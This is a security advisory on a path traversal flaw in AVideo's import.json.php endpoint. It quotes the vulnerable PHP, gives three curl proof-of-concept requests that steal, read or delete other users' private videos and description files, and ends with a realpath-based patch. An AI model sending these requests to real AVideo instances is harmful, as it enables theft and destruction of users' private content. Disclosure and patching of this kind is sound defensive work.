AVideo has a Path Traversal in import.json.php Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter

Summary

The objects/import.json.php endpoint accepts a user-controlled fileURI POST parameter with only a regex check that the value ends in .mp4. Unlike objects/listFiles.json.php, which was hardened with a realpath() + directory prefix check to restrict paths to the videos/ directory, import.json.php performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read .txt/.html/.htm files adjacent to any .mp4 file on the filesystem, and (3) delete .mp4 and adjacent text files if writable by the web server process.

Details

Missing path restriction in import.json.php

At objects/import.json.php:12, the only validation on the user-supplied fileURI is a regex ensuring it ends with .mp4:

// objects/import.json.php:12
if (!preg_match("/.*\\.mp4$/i", $_POST['fileURI'])) {
    return false;
}

Compare this to the hardened listFiles.json.php:16-28, which was patched to restrict paths:

// objects/listFiles.json.php:16-28
$allowedBase = realpath($global['systemRootPath'] . 'videos');
// ...
$resolvedPath = realpath($_POST['path']);
if ($resolvedPath === false || strpos($resolvedPath . '/', $allowedBase) !== 0) {
    http_response_code(403);
    echo json_encode(['error' => 'Path not allowed']);
    exit;
}

The same fix was never applied to import.json.php.

Attack Primitive 1: File content disclosure (.txt/.html/.htm)

At lines 23-43, the endpoint strips the .mp4 extension from fileURI and attempts to read adjacent .txt, .html, or .htm files via file_get_contents():

// objects/import.json.php:23-43
$filename = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['filename'];
$extensions = ['txt', 'html', 'htm'];
foreach ($extensions as $value) {
    if (file_exists("{$filename}.{$value}")) {
        $html = file_get_contents("{$filename}.{$value}");
        $_POST['description'] = $html;
        // ...
        break;
    }
}

The content flows into $_POST['description'], which is then saved as the video description by upload.php:59-64:

// view/mini-upload-form/upload.php:59-64
if (!empty($_POST['description'])) {
    // ...
    $video->setDescription($_POST['description']);
}

The attacker then views the imported video to read the file contents in the description field. This works for any path where both a .mp4 file and an adjacent .txt/.html/.htm file exist — which is the standard layout for every video in the videos/ directory.

Attack Primitive 2: Private video theft

At line 49, the endpoint copies the .mp4 file to a temp directory and then imports it as the current user's video:

// objects/import.json.php:47-49
$source = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['basename'];
if (!copy($source, $tmpFileName)) {
    // ...
}

An attacker who knows or can enumerate another user's video filename can copy any private .mp4 file into their own account.

Attack Primitive 3: File deletion

At lines 54-65, when $_POST['delete'] is set, the endpoint deletes the source .mp4 and adjacent text files:

// objects/import.json.php:54-61
if (!empty($_POST['delete']) && $_POST['delete'] !== 'false') {
    if (is_writable($source)) {
        unlink($source);
        foreach ($extensions as $value) {
            if (file_exists("{$filename}.{$value}")) {
                unlink("{$filename}.{$value}");
            }
        }
    }
}

PoC

Step 1: Steal a private video

Assuming the attacker knows another user's video filename (e.g., victim_video_abc123), which can be enumerated via the platform UI or API:

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4'

Expected result: The response returns {"error":false, "videos_id": <new_id>, ...}. The victim's private .mp4 is now imported as the attacker's own video at the returned videos_id.

Step 2: Read another user's video description file

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&length=100'

Expected result: If victim_video_abc123.txt (or .html/.htm) exists alongside the .mp4, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.

Step 3: Delete another user's video

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&delete=true'

Expected result: The victim's .mp4 file and any adjacent .txt/.html/.htm files are deleted (if writable by the web server process).

Impact

• Private video theft: Any authenticated user with upload permission can import another user's private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality.
• File content disclosure: .txt, .html, and .htm files adjacent to any .mp4 on the filesystem can be read by the attacker. Within the AVideo videos/ directory, these are video description files that may contain private information.
• File deletion: An attacker can delete other users' video files and metadata, causing data loss.
• Blast radius: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.

Recommended Fix

Apply the same realpath() + directory prefix check from listFiles.json.php to import.json.php, immediately after the .mp4 regex check:

// objects/import.json.php — add after line 14 (the preg_match check)
$allowedBase = realpath($global['systemRootPath'] . 'videos');
if ($allowedBase === false) {
    die(json_encode(['error' => 'Configuration error']));
}
$allowedBase .= '/';

$resolvedDir = realpath(dirname($_POST['fileURI']));
if ($resolvedDir === false || strpos($resolvedDir . '/', $allowedBase) !== 0) {
    http_response_code(403);
    die(json_encode(['error' => 'Path not allowed']));
}
// Reconstruct fileURI from resolved path to prevent symlink bypass
$_POST['fileURI'] = $resolvedDir . '/' . basename($_POST['fileURI']);